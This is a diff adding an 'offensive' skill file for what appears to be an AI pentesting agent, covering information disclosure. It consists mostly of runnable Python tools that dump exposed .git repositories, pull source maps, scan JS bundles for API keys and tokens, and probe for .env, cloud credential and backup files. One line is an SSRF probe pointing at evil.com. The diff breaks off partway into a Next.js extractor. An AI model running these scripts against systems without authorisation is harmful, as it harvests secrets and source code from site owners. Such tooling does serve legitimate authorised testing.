  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,867 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: information-disclosure
5
+ description: Information disclosure testing with automated scripts for .git recovery, source map extraction, JS bundle secret scanning, and DVCS artifact exploitation
6
+ ---
7
+
8
+ # Information Disclosure
9
+
10
+ Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.
11
+
12
+ ---
13
+
14
+ ## Automated Extraction Scripts
15
+
16
+ ### Script 1 — .git Repository Recovery
17
+
18
+ When `/.git/` is accessible, reconstructs source code and extracts secrets from the git object store.
19
+
20
+ ```python
21
+ #!/usr/bin/env python3
22
+ """
23
+ .git repository dumper and secret extractor.
24
+ Reconstructs source from exposed .git/ directory.
25
+
26
+ Usage: python3 git_dump.py --url https://target.com --out ./git_dump
27
+ """
28
+ import os, ssl, argparse, hashlib, zlib
29
+ from urllib.request import urlopen, Request
30
+ from urllib.error import HTTPError
31
+ from pathlib import Path
32
+
33
+ ctx = ssl.create_default_context()
34
+ ctx.check_hostname = False
35
+ ctx.verify_mode = ssl.CERT_NONE
36
+
37
+ UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
38
+
39
+ GIT_FILES = [
40
+ "HEAD", "config", "description", "COMMIT_EDITMSG",
41
+ "index", "info/refs", "info/exclude", "logs/HEAD",
42
+ "refs/heads/main", "refs/heads/master", "refs/heads/develop",
43
+ "ORIG_HEAD", "MERGE_HEAD", "packed-refs",
44
+ "objects/info/packs",
45
+ ]
46
+
47
+ SECRET_PATTERNS = [
48
+ (r'[A-Z_]*(KEY|SECRET|TOKEN|PASSWORD|PASS|PWD|API)[A-Z_]*\s*[=:]\s*["\']?([^\s\'"]{8,})', "Generic Secret"),
49
+ (r'https://[a-f0-9]{32}@o[0-9]+\.ingest\.sentry\.io/[0-9]+', "Sentry DSN"),
50
+ (r'sk-[A-Za-z0-9]{48}', "OpenAI Key"),
51
+ (r'AKIA[0-9A-Z]{16}', "AWS Access Key"),
52
+ (r'AIza[0-9A-Za-z\-_]{35}', "Google API Key"),
53
+ (r'ghp_[A-Za-z0-9]{36}', "GitHub PAT"),
54
+ (r'xox[baprs]-[0-9A-Za-z\-]{10,72}', "Slack Token"),
55
+ (r'-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----', "Private Key"),
56
+ (r'[0-9a-f]{32}', "MD5/Hex Token (possible secret)"),
57
+ ]
58
+
59
+ def fetch(base, path):
60
+ url = f"{base}/.git/{path}"
61
+ try:
62
+ req = Request(url, headers={"User-Agent": UA})
63
+ resp = urlopen(req, context=ctx, timeout=10)
64
+ return resp.read()
65
+ except HTTPError as e:
66
+ if e.code == 404:
67
+ return None
68
+ return None
69
+ except Exception:
70
+ return None
71
+
72
+ def decompress_object(data):
73
+ """Decompress a git object (zlib compressed)."""
74
+ try:
75
+ return zlib.decompress(data).decode(errors='replace')
76
+ except Exception:
77
+ return None
78
+
79
+ def parse_pack_index(data):
80
+ """Extract object hashes from pack index v2."""
81
+ import struct
82
+ hashes = []
83
+ if data[:8] != b'\xff\x74\x4f\x63\x00\x00\x00\x02':
84
+ return hashes
85
+ fan_out = struct.unpack('>256I', data[8:8+1024])
86
+ total = fan_out[255]
87
+ for i in range(total):
88
+ offset = 8 + 1024 + i * 20
89
+ h = data[offset:offset+20].hex()
90
+ hashes.append(h)
91
+ return hashes
92
+
93
+ parser = argparse.ArgumentParser()
94
+ parser.add_argument("--url", required=True, help="Base URL (e.g., https://target.com)")
95
+ parser.add_argument("--out", default="./git_dump")
96
+ args = parser.parse_args()
97
+
98
+ base = args.url.rstrip("/")
99
+ out_dir = Path(args.out)
100
+ out_dir.mkdir(parents=True, exist_ok=True)
101
+
102
+ print(f"[*] Target: {base}/.git/")
103
+
104
+ # Step 1: Check accessibility
105
+ head = fetch(base, "HEAD")
106
+ if not head:
107
+ print("[-] .git/HEAD not accessible. Aborting.")
108
+ exit(1)
109
+ print(f"[+] .git/HEAD: {head.decode(errors='replace').strip()}")
110
+
111
+ # Step 2: Download known files
112
+ downloaded = {}
113
+ for gf in GIT_FILES:
114
+ data = fetch(base, gf)
115
+ if data:
116
+ path = out_dir / gf
117
+ path.parent.mkdir(parents=True, exist_ok=True)
118
+ path.write_bytes(data)
119
+ downloaded[gf] = data
120
+ print(f"[+] {gf} ({len(data)}B)")
121
+
122
+ # Step 3: Extract commit SHAs from logs/HEAD
123
+ commit_hashes = set()
124
+ if "logs/HEAD" in downloaded:
125
+ import re
126
+ logs = downloaded["logs/HEAD"].decode(errors='replace')
127
+ commit_hashes.update(re.findall(r'\b([0-9a-f]{40})\b', logs))
128
+ print(f"[*] Found {len(commit_hashes)} commit hashes from logs/HEAD")
129
+
130
+ # Step 4: Fetch and decompress objects
131
+ objects_found = []
132
+ for sha in list(commit_hashes)[:50]: # Limit to avoid hammering
133
+ obj_path = f"objects/{sha[:2]}/{sha[2:]}"
134
+ data = fetch(base, obj_path)
135
+ if data:
136
+ decompressed = decompress_object(data)
137
+ if decompressed:
138
+ obj_file = out_dir / obj_path
139
+ obj_file.parent.mkdir(parents=True, exist_ok=True)
140
+ obj_file.write_text(decompressed)
141
+ objects_found.append((sha, decompressed))
142
+ print(f"[+] Object {sha[:8]}... ({len(decompressed)}B)")
143
+
144
+ # Step 5: Secret scan all recovered content
145
+ print(f"\n{'='*60}")
146
+ print(f"SECRET SCAN RESULTS")
147
+ print(f"{'='*60}")
148
+ import re
149
+ found_secrets = []
150
+ all_content = "\n".join([d for _, d in objects_found])
151
+ all_content += "\n".join([d.decode(errors='replace') for d in downloaded.values()])
152
+
153
+ for pattern, name in SECRET_PATTERNS:
154
+ matches = re.findall(pattern, all_content, re.IGNORECASE)
155
+ if matches:
156
+ for m in (matches[:5] if isinstance(matches[0], str) else [x[0] for x in matches[:5]]):
157
+ print(f"[SECRET] {name}: {str(m)[:80]}")
158
+ found_secrets.append({"type": name, "value": str(m)})
159
+
160
+ print(f"\n[*] Total secrets found: {len(found_secrets)}")
161
+ print(f"[*] Objects recovered: {len(objects_found)}")
162
+ print(f"[*] Output directory: {out_dir}")
163
+ print(f"\nNext steps:")
164
+ print(f" cd {out_dir} && git checkout -- . (reconstruct working tree)")
165
+ print(f" trufflehog filesystem {out_dir} (deep secret scan)")
166
+ ```
167
+
168
+ ---
169
+
170
+ ### Script 2 — Source Map Extractor and Deobfuscator
171
+
172
+ Finds `.map` files linked from JS bundles, downloads them, and extracts original source code.
173
+
174
+ ```python
175
+ #!/usr/bin/env python3
176
+ """
177
+ JS Source Map extractor.
178
+ Finds sourceMappingURL references in JS, downloads .map files,
179
+ extracts original source code.
180
+
181
+ Usage: python3 sourcemap_extract.py --url https://target.com --out ./src_extracted
182
+ """
183
+ import re, json, ssl, os, argparse
184
+ from urllib.request import urlopen, Request
185
+ from urllib.error import HTTPError
186
+ from urllib.parse import urljoin, urlparse
187
+ from pathlib import Path
188
+
189
+ ctx = ssl.create_default_context()
190
+ ctx.check_hostname = False
191
+ ctx.verify_mode = ssl.CERT_NONE
192
+
193
+ UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
194
+
195
+ SECRET_PATTERNS = [
196
+ (r'[A-Z_]*(KEY|SECRET|TOKEN|PASSWORD|API)[A-Z_]*\s*[=:]\s*["\']([^\s\'"]{8,})["\']', "Secret"),
197
+ (r'https://[a-f0-9]{32}@o\d+\.ingest\.sentry\.io/\d+', "Sentry DSN"),
198
+ (r'AKIA[0-9A-Z]{16}', "AWS Key"),
199
+ (r'AIza[0-9A-Za-z\-_]{35}', "Google API Key"),
200
+ (r'ghp_[A-Za-z0-9]{36}', "GitHub PAT"),
201
+ (r'NEXT_PUBLIC_\w+\s*[=:]\s*["\']([^"\']{4,})["\']', "Next.js Public Env"),
202
+ (r'REACT_APP_\w+\s*[=:]\s*["\']([^"\']{4,})["\']', "React Env"),
203
+ (r'VITE_\w+\s*[=:]\s*["\']([^"\']{4,})["\']', "Vite Env"),
204
+ (r'process\.env\.\w+', "Process Env Access"),
205
+ (r'localhost:[0-9]{4,5}', "Internal Port"),
206
+ (r'https?://[a-z0-9\-]+\.(internal|local|corp|intranet)', "Internal Host"),
207
+ (r'/api/v[0-9]+/[a-z0-9\-/]+', "API Endpoint"),
208
+ (r'(?:admin|internal|debug|private)/[a-z0-9\-/]+', "Sensitive Path"),
209
+ ]
210
+
211
+ def fetch_text(url):
212
+ try:
213
+ req = Request(url, headers={"User-Agent": UA})
214
+ resp = urlopen(req, context=ctx, timeout=15)
215
+ return resp.read().decode(errors='replace')
216
+ except Exception:
217
+ return None
218
+
219
+ def fetch_bytes(url):
220
+ try:
221
+ req = Request(url, headers={"User-Agent": UA})
222
+ resp = urlopen(req, context=ctx, timeout=15)
223
+ return resp.read()
224
+ except Exception:
225
+ return None
226
+
227
+ def find_js_files(base_url):
228
+ """Crawl homepage and find JS bundle URLs."""
229
+ html = fetch_text(base_url)
230
+ if not html:
231
+ return []
232
+ js_urls = re.findall(r'src=["\']([^"\']+\.js(?:\?[^"\']*)?)["\']', html)
233
+ # Also look in _next/static, static/js, assets/js patterns
234
+ js_urls += re.findall(r'["\'](/(?:_next|static|assets)/[^"\']+\.js)["\']', html)
235
+ resolved = []
236
+ for u in set(js_urls):
237
+ if u.startswith("http"):
238
+ resolved.append(u)
239
+ else:
240
+ resolved.append(urljoin(base_url, u))
241
+ return resolved
242
+
243
+ parser = argparse.ArgumentParser()
244
+ parser.add_argument("--url", required=True)
245
+ parser.add_argument("--out", default="./src_extracted")
246
+ parser.add_argument("--js-list", help="Optional: file with JS URLs (one per line)")
247
+ args = parser.parse_args()
248
+
249
+ out_dir = Path(args.out)
250
+ out_dir.mkdir(parents=True, exist_ok=True)
251
+
252
+ base = args.url.rstrip("/")
253
+
254
+ if args.js_list:
255
+ js_files = [l.strip() for l in open(args.js_list) if l.strip()]
256
+ else:
257
+ print(f"[*] Crawling {base} for JS files...")
258
+ js_files = find_js_files(base)
259
+ print(f"[*] Found {len(js_files)} JS files")
260
+
261
+ all_secrets = []
262
+ maps_downloaded = 0
263
+
264
+ for js_url in js_files:
265
+ js_content = fetch_text(js_url)
266
+ if not js_content:
267
+ continue
268
+
269
+ # Look for sourceMappingURL comment
270
+ map_url_match = re.search(r'//# sourceMappingURL=(.+\.map)', js_content)
271
+ if not map_url_match:
272
+ # Check for inline data: URI
273
+ inline_match = re.search(r'//# sourceMappingURL=data:application/json;base64,([A-Za-z0-9+/=]+)', js_content)
274
+ if inline_match:
275
+ import base64
276
+ map_data = base64.b64decode(inline_match.group(1)).decode(errors='replace')
277
+ map_url = js_url + ".inline"
278
+ else:
279
+ continue
280
+ else:
281
+ map_ref = map_url_match.group(1)
282
+ if map_ref.startswith("http"):
283
+ map_url = map_ref
284
+ else:
285
+ map_url = urljoin(js_url, map_ref)
286
+ map_data = fetch_text(map_url)
287
+
288
+ if not map_data:
289
+ continue
290
+
291
+ maps_downloaded += 1
292
+ print(f"\n[+] Source map: {map_url[:80]}")
293
+
294
+ try:
295
+ sm = json.loads(map_data)
296
+ except json.JSONDecodeError:
297
+ print(f" [!] Invalid JSON")
298
+ continue
299
+
300
+ sources = sm.get("sources", [])
301
+ sources_content = sm.get("sourcesContent", [])
302
+
303
+ print(f" Sources: {len(sources)}")
304
+
305
+ for i, (src_path, src_content) in enumerate(zip(sources, sources_content or [])):
306
+ if not src_content:
307
+ continue
308
+
309
+ # Save extracted source
310
+ clean_path = re.sub(r'^[./webpack://]+', '', src_path).lstrip('/')
311
+ out_path = out_dir / clean_path
312
+ out_path.parent.mkdir(parents=True, exist_ok=True)
313
+ try:
314
+ out_path.write_text(src_content)
315
+ except Exception:
316
+ continue
317
+
318
+ # Scan for secrets
319
+ for pattern, name in SECRET_PATTERNS:
320
+ matches = re.findall(pattern, src_content, re.IGNORECASE)
321
+ if matches:
322
+ for m in matches[:3]:
323
+ val = m if isinstance(m, str) else m[1] if len(m) > 1 else m[0]
324
+ print(f" [SECRET] {name} in {src_path}: {str(val)[:80]}")
325
+ all_secrets.append({"type": name, "file": src_path, "value": str(val)})
326
+
327
+ print(f"\n{'='*60}")
328
+ print(f"[*] Maps downloaded: {maps_downloaded}")
329
+ print(f"[*] Secrets found: {len(all_secrets)}")
330
+ print(f"[*] Source files extracted to: {out_dir}")
331
+ ```
332
+
333
+ ---
334
+
335
+ ### Script 3 — JS Bundle Secret Scanner
336
+
337
+ Scans JavaScript bundles (without source maps) for hardcoded secrets and internal infrastructure hints.
338
+
339
+ ```python
340
+ #!/usr/bin/env python3
341
+ """
342
+ JS bundle secret scanner — no source map needed.
343
+ Downloads JS files and scans for secrets, internal endpoints, env vars.
344
+
345
+ Usage: python3 js_secret_scan.py --url https://target.com
346
+ """
347
+ import re, ssl, json, argparse
348
+ from urllib.request import urlopen, Request
349
+ from urllib.error import HTTPError
350
+ from urllib.parse import urljoin
351
+ from collections import defaultdict
352
+
353
+ ctx = ssl.create_default_context()
354
+ ctx.check_hostname = False
355
+ ctx.verify_mode = ssl.CERT_NONE
356
+
357
+ UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
358
+
359
+ PATTERNS = {
360
+ "Sentry DSN": r'https://[a-f0-9]{32}@o\d+\.ingest(?:\.us)?\.sentry\.io/\d+',
361
+ "AWS Access Key": r'AKIA[0-9A-Z]{16}',
362
+ "AWS Secret Key": r'(?:aws_secret|secretaccesskey)["\s:=]+([A-Za-z0-9/+]{40})',
363
+ "Google API Key": r'AIza[0-9A-Za-z\-_]{35}',
364
+ "GitHub PAT": r'(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36}',
365
+ "Slack Token": r'xox[baprs]-[0-9A-Za-z\-]{10,72}',
366
+ "Stripe Key": r'(?:sk|pk)_(?:live|test)_[0-9a-zA-Z]{24,}',
367
+ "Twilio SID": r'AC[a-z0-9]{32}',
368
+ "JWT Secret": r'jwt[_-]?secret["\s:=]+["\']([^\s"\']{8,})["\']',
369
+ "DB Connection": r'(?:postgres|mysql|mongodb|redis)://[^\s"\'<>]{10,}',
370
+ "Internal Host": r'https?://[a-z0-9\-]+\.(?:internal|local|corp|lan|priv|intra)\b[^\s"\']*',
371
+ "Private IP Range": r'https?://(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)[0-9.]+(?::[0-9]+)?[^\s"\']*',
372
+ "Hex Subdomain": r'https?://([0-9a-f]{6,16})\.[\w\-]+\.[a-z]{2,}',
373
+ "NEXT_PUBLIC Env": r'NEXT_PUBLIC_[A-Z_]+["\s:=]+["\']([^"\']{4,})["\']',
374
+ "REACT_APP Env": r'REACT_APP_[A-Z_]+["\s:=]+["\']([^"\']{4,})["\']',
375
+ "VITE Env": r'VITE_[A-Z_]+["\s:=]+["\']([^"\']{4,})["\']',
376
+ "Bearer Token": r'[Bb]earer\s+([A-Za-z0-9\-._~+/]{20,})',
377
+ "Basic Auth": r'[Bb]asic\s+([A-Za-z0-9+/]{20,}={0,2})',
378
+ "Datadog Key": r'(?:dd_api_key|datadog)["\s:=]+["\']([a-f0-9]{32})["\']',
379
+ "OpenAI Key": r'sk-[A-Za-z0-9]{48}',
380
+ "Anthropic Key": r'sk-ant-[A-Za-z0-9\-]{40,}',
381
+ "Origin-Trial": r'Origin-Trial["\s:=]+([A-Za-z0-9+/=]{20,})',
382
+ "Webhook URL": r'https://hooks\.(slack|discord)\.com/[^\s"\'<>]+',
383
+ "Internal API Path": r'["\']/(admin|internal|debug|private|sys|mgmt)/[a-z0-9\-/]+["\']',
384
+ }
385
+
386
+ def fetch(url):
387
+ try:
388
+ req = Request(url, headers={"User-Agent": UA})
389
+ resp = urlopen(req, context=ctx, timeout=20)
390
+ return resp.read().decode(errors='replace')
391
+ except Exception:
392
+ return None
393
+
394
+ def find_js_bundles(base_url):
395
+ html = fetch(base_url)
396
+ if not html:
397
+ return []
398
+ urls = set()
399
+ for pattern in [
400
+ r'src=["\']([^"\']+\.js(?:\?[^"\']*)?)["\']',
401
+ r'["\'](/_next/static/[^"\']+\.js)["\']',
402
+ r'["\'](/static/js/[^"\']+\.js)["\']',
403
+ r'["\'](/assets/[^"\']+\.js)["\']',
404
+ r'["\'](/js/[^"\']+\.js)["\']',
405
+ ]:
406
+ for m in re.findall(pattern, html):
407
+ if m.startswith("http"):
408
+ urls.add(m)
409
+ else:
410
+ urls.add(urljoin(base_url, m))
411
+ return list(urls)
412
+
413
+ parser = argparse.ArgumentParser()
414
+ parser.add_argument("--url", required=True)
415
+ parser.add_argument("--js-list", help="Optional: file with JS URLs")
416
+ parser.add_argument("--report", default="js_secrets.json")
417
+ args = parser.parse_args()
418
+
419
+ base = args.url.rstrip("/")
420
+
421
+ if args.js_list:
422
+ js_files = [l.strip() for l in open(args.js_list) if l.strip()]
423
+ else:
424
+ print(f"[*] Discovering JS bundles from {base}...")
425
+ js_files = find_js_bundles(base)
426
+ print(f"[*] Found {len(js_files)} bundles")
427
+
428
+ findings = defaultdict(list)
429
+ total = 0
430
+
431
+ for js_url in js_files:
432
+ content = fetch(js_url)
433
+ if not content or len(content) < 100:
434
+ continue
435
+
436
+ bundle_findings = []
437
+ for name, pattern in PATTERNS.items():
438
+ matches = re.findall(pattern, content, re.IGNORECASE)
439
+ if matches:
440
+ unique = list(set([str(m)[:120] for m in matches]))[:5]
441
+ for val in unique:
442
+ bundle_findings.append({"type": name, "value": val})
443
+ total += 1
444
+
445
+ if bundle_findings:
446
+ print(f"\n[+] {js_url}")
447
+ for f in bundle_findings:
448
+ print(f" [{f['type']}] {f['value']}")
449
+ findings[js_url] = bundle_findings
450
+
451
+ # Save report
452
+ with open(args.report, "w") as f:
453
+ json.dump(dict(findings), f, indent=2)
454
+
455
+ print(f"\n{'='*60}")
456
+ print(f"[*] Total findings: {total}")
457
+ print(f"[*] Affected bundles: {len(findings)}")
458
+ print(f"[*] Report saved: {args.report}")
459
+ ```
460
+
461
+ ---
462
+
463
+ ### Script 4 — Sensitive File Scanner
464
+
465
+ Wordlist-based scanner for backup files, config files, debug endpoints, and API schemas.
466
+
467
+ ```python
468
+ #!/usr/bin/env python3
469
+ """
470
+ Sensitive file and endpoint scanner.
471
+ Checks for DVCS artifacts, config files, backup files, debug endpoints.
472
+
473
+ Usage: python3 sensitive_scan.py --url https://target.com [--threads 20]
474
+ """
475
+ import ssl, argparse
476
+ from urllib.request import urlopen, Request
477
+ from urllib.error import HTTPError, URLError
478
+ from concurrent.futures import ThreadPoolExecutor, as_completed
479
+
480
+ ctx = ssl.create_default_context()
481
+ ctx.check_hostname = False
482
+ ctx.verify_mode = ssl.CERT_NONE
483
+
484
+ UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
485
+
486
+ TARGETS = {
487
+ # DVCS
488
+ "DVCS": [
489
+ "/.git/HEAD", "/.git/config", "/.git/index", "/.git/COMMIT_EDITMSG",
490
+ "/.svn/entries", "/.svn/wc.db", "/.hg/store/00manifest.i",
491
+ "/.bzr/branch/format",
492
+ ],
493
+ # Config/Secrets
494
+ "Config": [
495
+ "/.env", "/.env.local", "/.env.production", "/.env.staging",
496
+ "/config.json", "/config.yml", "/config.yaml",
497
+ "/appsettings.json", "/appsettings.Development.json",
498
+ "/web.config", "/app.config", "/settings.py",
499
+ "/database.yml", "/secrets.yml",
500
+ "/docker-compose.yml", "/docker-compose.yaml",
501
+ "/.aws/credentials", "/.aws/config",
502
+ "/credentials.json", "/service-account.json",
503
+ "/phpinfo.php", "/info.php", "/test.php",
504
+ ],
505
+ # Backup/Temp
506
+ "Backup": [
507
+ "/backup.sql", "/backup.zip", "/backup.tar.gz",
508
+ "/database.sql", "/db.sql", "/dump.sql",
509
+ "/www.zip", "/site.zip", "/html.zip",
510
+ "/index.php.bak", "/index.php~",
511
+ "/config.php.bak", "/wp-config.php.bak",
512
+ ],
513
+ # API Schemas
514
+ "API Schema": [
515
+ "/swagger.json", "/swagger.yaml", "/swagger-ui.html",
516
+ "/api-docs", "/api-docs.json",
517
+ "/openapi.json", "/openapi.yaml",
518
+ "/v1/api-docs", "/v2/api-docs", "/v3/api-docs",
519
+ "/v3/api-docs.yaml",
520
+ "/api/swagger.json", "/api/openapi.json",
521
+ "/graphql", "/graphiql", "/playground",
522
+ "/api/graphql",
523
+ # NestJS / Fastify defaults (commonly missed)
524
+ "/docs", "/docs.json", "/docs.html", "/docs.yaml",
525
+ "/documentation", "/documentation/json", "/documentation/yaml",
526
+ "/api-json", "/api-doc",
527
+ "/redoc", "/redoc.html",
528
+ # Spring Boot (springdoc-openapi)
529
+ "/v3/api-docs", "/swagger/v1/swagger.json", "/swagger/v2/swagger.json",
530
+ # Flask/Django/Laravel
531
+ "/apispec.json", "/apispec_1.json",
532
+ "/schema.json", "/schema/",
533
+ "/api/documentation", "/api-docs/v1", "/api-docs/v2",
534
+ "/swagger/doc.json",
535
+ ],
536
+ # Debug/Admin
537
+ "Debug": [
538
+ "/debug", "/debug/pprof", "/_profiler", "/_profiler/phpinfo",
539
+ "/actuator", "/actuator/env", "/actuator/health",
540
+ "/actuator/beans", "/actuator/mappings", "/actuator/httptrace",
541
+ "/.well-known/security.txt",
542
+ "/server-status", "/server-info",
543
+ "/status", "/metrics",
544
+ "/_debug", "/admin/debug",
545
+ ],
546
+ # Framework Specific
547
+ "Framework": [
548
+ "/.rails_root", "/rails/info/properties",
549
+ "/laravel/telescope", "/telescope", "/horizon",
550
+ "/_symfony_profiler", "/__clockwork/app",
551
+ "/django-admin", "/__debug__/",
552
+ "/wp-json/wp/v2/users",
553
+ "/wp-config.php", "/xmlrpc.php",
554
+ ],
555
+ # Source Maps
556
+ "Source Map": [
557
+ "/main.js.map", "/app.js.map", "/bundle.js.map",
558
+ "/static/js/main.chunk.js.map",
559
+ "/_next/static/chunks/main.js.map",
560
+ ],
561
+ # Next.js specific
562
+ "Next.js": [
563
+ "/_next/static/chunks/pages/_app.js",
564
+ "/_next/static/chunks/framework.js",
565
+ "/__NEXT_DATA__",
566
+ "/api/auth/session",
567
+ "/_next/image?url=https://evil.com&w=100&q=75",
568
+ ],
569
+ }
570
+
571
+ def check(base, path, category):
572
+ url = base.rstrip("/") + path
573
+ try:
574
+ req = Request(url, headers={"User-Agent": UA})
575
+ resp = urlopen(req, context=ctx, timeout=8)
576
+ content = resp.read()
577
+ size = len(content)
578
+ # Filter out redirect bait and empty responses
579
+ if size < 20:
580
+ return None
581
+ # Check for meaningful content (not just generic error pages)
582
+ content_preview = content[:200].decode(errors='replace')
583
+ return {
584
+ "category": category,
585
+ "path": path,
586
+ "url": url,
587
+ "status": resp.status,
588
+ "size": size,
589
+ "preview": content_preview[:100].replace('\n', ' ')
590
+ }
591
+ except HTTPError as e:
592
+ if e.code not in (404, 410):
593
+ return {
594
+ "category": category,
595
+ "path": path,
596
+ "url": url,
597
+ "status": e.code,
598
+ "size": 0,
599
+ "preview": ""
600
+ }
601
+ return None
602
+ except URLError:
603
+ return None
604
+
605
+ parser = argparse.ArgumentParser()
606
+ parser.add_argument("--url", required=True)
607
+ parser.add_argument("--threads", type=int, default=20)
608
+ args = parser.parse_args()
609
+
610
+ base = args.url.rstrip("/")
611
+ print(f"[*] Scanning {base}")
612
+
613
+ all_tasks = [(path, cat) for cat, paths in TARGETS.items() for path in paths]
614
+ print(f"[*] Checking {len(all_tasks)} paths...")
615
+
616
+ findings = []
617
+ with ThreadPoolExecutor(max_workers=args.threads) as ex:
618
+ futs = {ex.submit(check, base, path, cat): (path, cat) for path, cat in all_tasks}
619
+ for fut in as_completed(futs):
620
+ result = fut.result()
621
+ if result and result["status"] in (200, 206, 301, 302):
622
+ findings.append(result)
623
+ print(f"[FOUND][{result['category']}] {result['path']} -> {result['status']} ({result['size']}B)")
624
+ if result.get("preview"):
625
+ print(f" Preview: {result['preview']}")
626
+
627
+ print(f"\n{'='*60}")
628
+ print(f"[*] Findings: {len(findings)}")
629
+
630
+ # Prioritize
631
+ critical = [f for f in findings if f["category"] in ("DVCS", "Config", "Backup") and f["status"] == 200]
632
+ if critical:
633
+ print(f"\n[CRITICAL] {len(critical)} high-value exposures:")
634
+ for f in critical:
635
+ print(f" {f['url']} ({f['size']}B)")
636
+ ```
637
+
638
+ ---
639
+
640
+ ### Script 5 — Next.js `__NEXT_DATA__` and API Route Extractor
641
+
642
+ Parses Next.js pre-rendered state and discovers internal API routes.
643
+
644
+ ```python
645
+ #!/usr/bin/env python3
646
+ """
647
+ Next.js intelligence extractor.
648
+ Parses __NEXT_DATA__, discovers API routes, extracts embedded state.
649
+
650
+ Usage: python3 nextjs_extract.py --url https://target.com
651
+ """
